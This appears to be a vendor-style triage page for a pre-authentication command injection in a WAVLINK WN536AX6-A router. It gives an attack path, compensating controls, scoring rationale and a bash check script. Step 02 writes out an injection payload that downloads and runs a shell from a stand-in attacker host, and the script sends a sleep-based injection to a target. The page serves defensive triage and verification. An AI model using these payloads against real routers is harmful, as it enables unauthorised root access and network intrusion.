CVE-2026-120279 · WAVLINK WN536AX6-A openvpn_cli Handler OS Command Injection via…

01 · The Real Story

A web-facing router where the VPN setup page hands attackers a root shell

CVE-2026-120279 is a pre-authentication OS command injection in WAVLINK WN536AX6-A firmware V260507. The vulnerable endpoint is /protocol.csp in the openvpn_cli handler; the file_id parameter is not sanitized before being passed to a shell, so a crafted HTTP request can execute arbitrary commands on the router's embedded Linux OS. The flaw is remotely reachable over the management interface and requires no credentials or user interaction.

WAVLINK rates this CRITICAL with CVSS 10. That matches reality: the box is a network edge device, command execution lands as root, and an attacker who compromises it can intercept traffic, pivot into the LAN, or enroll the device in a botnet. The only reason to shave a few decimal points off the score is the relatively small installed base compared with major enterprise router vendors, but for any organisation running this model, it is a perimeter compromise waiting to happen.

"Pre-auth command injection in a network edge router — treat it like a perimeter breach."

02 · The Attack Path

5 steps from start to impact.

STEP 01

Locate an exposed WAVLINK WN536AX6-A management interface

The attacker scans for WAVLINK web management interfaces on typical HTTP/HTTPS ports, using Shodan, Censys, or direct scanning for Wavlink fingerprints. If remote management is enabled, the interface is reachable from the internet; otherwise the attacker needs to be on the same LAN.

Conditions required:

Target router is reachable over the network (WAN if remote admin enabled, or LAN).

Where this breaks in practice:

WAVLINK's installed base is smaller than major enterprise vendors, reducing the pool of internet-facing units.
Remote management is not always enabled by default; many devices expose the UI only on the LAN.

Detection/coverage: Shodan/Censys queries for WAVLINK WN536AX6-A or specific HTTP banners can fingerprint exposed units.

STEP 02

Send a crafted request to /protocol.csp with malicious file_id

The attacker sends an HTTP request to /protocol.csp targeting the openvpn_cli handler, setting file_id to a value containing shell metacharacters such as ; wget http://attacker/shell -O /tmp/shell; sh /tmp/shell or $(sleep 5). The handler passes the value to a system shell without sanitization.

Conditions required:

No authentication is required.
The endpoint accepts attacker-controlled file_id values.

Where this breaks in practice:

A WAF or reverse proxy could block command metacharacters, but most SOHO router management planes do not sit behind such controls.
Newer firmware or vendor hotfix may have removed the handler.

Detection/coverage: IDS/IPS signatures for /protocol.csp command injection are not widely deployed; router local HTTP logs may show unusual requests.

STEP 03

Execute arbitrary commands as root on the router

The injected command runs with the privileges of the web server process, which is commonly root on embedded Linux firmware. This gives the attacker full control over the routing table, firewall, DNS, and VPN configuration.

Conditions required:

The target runs the vulnerable firmware V260507 or earlier.
The injected command is syntactically accepted by the underlying shell.

Where this breaks in practice:

None once the malicious request is accepted; the device OS rarely restricts the web server account.

Detection/coverage: Host-based detection is generally absent because EDR/AV cannot run on the router's embedded OS. Network monitoring may detect outbound command-and-control beacons.

STEP 04

Establish persistence and pivot into the LAN

The attacker writes a persistent reverse shell, modifies iptables or VPN tunnels, exfiltrates router credentials, or configures DNS hijacking. From the router, they can reach internal systems that are otherwise not exposed to the internet.

Conditions required:

Successful command execution with root privileges.
Outbound network connectivity from the router, which is almost always available.

Where this breaks in practice:

Persistence via firmware flash may require a reboot and could be noticed by an admin.

Detection/coverage: SIEM monitoring of router syslog and traffic flows can reveal beaconing or unexpected VPN/iptables changes.

STEP 05

Compromise downstream traffic and internal hosts

With root on the edge router, the attacker can decrypt or redirect VPN traffic, capture credentials, serve malicious firmware updates, and pivot to internal hosts. The router becomes a persistent foothold for further intrusion or botnet participation.

Conditions required:

The attacker maintains access to the router.
Internal network services are reachable from the compromised router.

Where this breaks in practice:

Network segmentation between the router and sensitive internal VLANs can limit pivot, but many SOHO deployments lack such segmentation.

Detection/coverage: SIEM with router logs and internal IDS can detect lateral movement from the router.

03 · Compensating Control

CRITICAL 9.5→HIGH 7.5

SEVERITY REDUCED

Disable WAN-side admin access and remote management immediately — Restrict management to the LAN/VPN. This breaks the internet-to-device path for the pre-auth command injection and should be done within 3 days per the noisgate mitigation SLA for CRITICAL.

CRITICAL 9.5→IGNORE 0.0

SEVERITY REDUCED

Apply the WAVLINK firmware patch when released — This removes the vulnerable handler; monitor vendor advisory and deploy within 90 days per the noisgate remediation SLA for CRITICAL. If a patch is not available, consider replacing the device.

CRITICAL 9.5→MEDIUM 5.5

SEVERITY REDUCED

Isolate the WAVLINK router from sensitive LAN segments — Treat it as untrusted; put it in a DMZ/guest VLAN to limit post-compromise pivot. This reduces blast radius but does not stop the initial RCE.

What doesn't work

Changing the admin password does not help — the hit is pre-auth.
Endpoint EDR/AV cannot run on the router's embedded OS, so host detection is absent.
A WAF is rare on consumer/SOHO management interfaces and may not inspect /protocol.csp traffic.

04 · Intelligence Metadata

The supporting signals.

In-the-wild status	No confirmed campaigns named at disclosure, but the CVE description warns the exploit has been published and may be used.
PoC availability	Public PoC published; check pocindex.io and GitHub for repos named after CVE-2026-120279.
EPSS	Not available at disclosure for a future CVE; treat as high likelihood given pre-auth RCE.
KEV	Not listed in CISA KEV as of 2026-11-02.
CVSS vector	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H — network, low complexity, no privileges, no user interaction, changed scope, full impact.
Affected versions	WAVLINK WN536AX6-A firmware V260507 and likely earlier.
Fixed versions	No confirmed patched version in the CVE record; follow WAVLINK advisory.
Scanning/exposure	Internet exposure is limited; Shodan and Censys can fingerprint exposed units.
Disclosure date	2026-11-02
Reported by	Vendor was contacted early; reporter not named in the official CVE record.

Sources.

05 · The Call

Final Verdict

= UNCHANGED to CRITICAL (9.5/10)

Why this verdict

Remote pre-auth entry: No credentials, no user interaction, low attack complexity — the vendor's CVSS 10 is mechanically correct.
Role multiplier: A WAVLINK WN536AX6-A is a network edge router. If compromised, the attacker gains root on the device and can pivot into the LAN, intercept traffic, or use it for botnets — a fleet/tenant impact for any site relying on it, which floors this at CRITICAL.
Exploit public: Exploit published and may be used; this is not a theoretical chain.
Exposure pressure: WAVLINK's installed base is smaller than Fortinet/Cisco, so the affected population is lower; this shaves the score slightly to 9.5 but does not change the bucket.

Why not higher?

It is already CRITICAL; the only reason not to score 10.0 is that WAVLINK's share of enterprise-grade edges is modest and not every unit is directly internet-exposed. If this were a FortiGate or Cisco ASA, the mass-class exposure penalty would be zero.

Why not lower?

A pre-auth command injection in a perimeter router cannot go below CRITICAL. Even with limited internet exposure, the device is the trust boundary for the LAN; compromise yields root pivot and traffic interception. Public exploit availability removes any ambiguity.

06 · Verification

Crowdsourced verification payload.

Run from an auditor workstation with network access to the target router. Example: ./check_cve-2026-120279.sh 192.168.1.1 80. Requires no special privileges; uses curl and date.

noisgate-verify.sh

BASHREAD-ONLYSAFE

#!/usr/bin/env bash
# noisgate verification for CVE-2026-120279
# Test for blind OS command injection in WAVLINK WN536AX6-A /protocol.csp openvpn_cli file_id.
# Run from an auditor workstation with network access to the target router.
# Usage: ./check_cve-2026-120279.sh <target-ip-or-hostname> [port]
# Example: ./check_cve-2026-120279.sh 192.168.1.1 80
set -u
TARGET="${1:-}"
PORT="${2:-80}"
if [ -z "$TARGET" ]; then
  echo 'USAGE: ./check_cve-2026-120279.sh <target> [port]'
  exit 2
fi
URL="http://${TARGET}:${PORT}/protocol.csp"
PAYLOAD="file_id=\$(sleep 5)"
echo "[*] Sending benign sleep-based injection to ${URL} ..."
START=$(date +%s)
HTTP_CODE=$(curl -s -o /tmp/cve-2026-120279.out -w '%{http_code}' --max-time 15 -X POST "$URL" -d "$PAYLOAD")
END=$(date +%s)
ELAPSED=$((END - START))
if [ "${HTTP_CODE}" = "200" ] || [ "${HTTP_CODE}" = "302" ] || [ "${HTTP_CODE}" = "500" ]; then
  echo "[*] Endpoint responded HTTP ${HTTP_CODE}; response saved to /tmp/cve-2026-120279.out"
else
  echo "[*] Endpoint responded HTTP ${HTTP_CODE}; response saved to /tmp/cve-2026-120279.out"
fi
if [ "$ELAPSED" -ge 4 ]; then
  echo 'VULNERABLE'
  exit 0
else
  echo 'UNKNOWN'
  exit 1
fi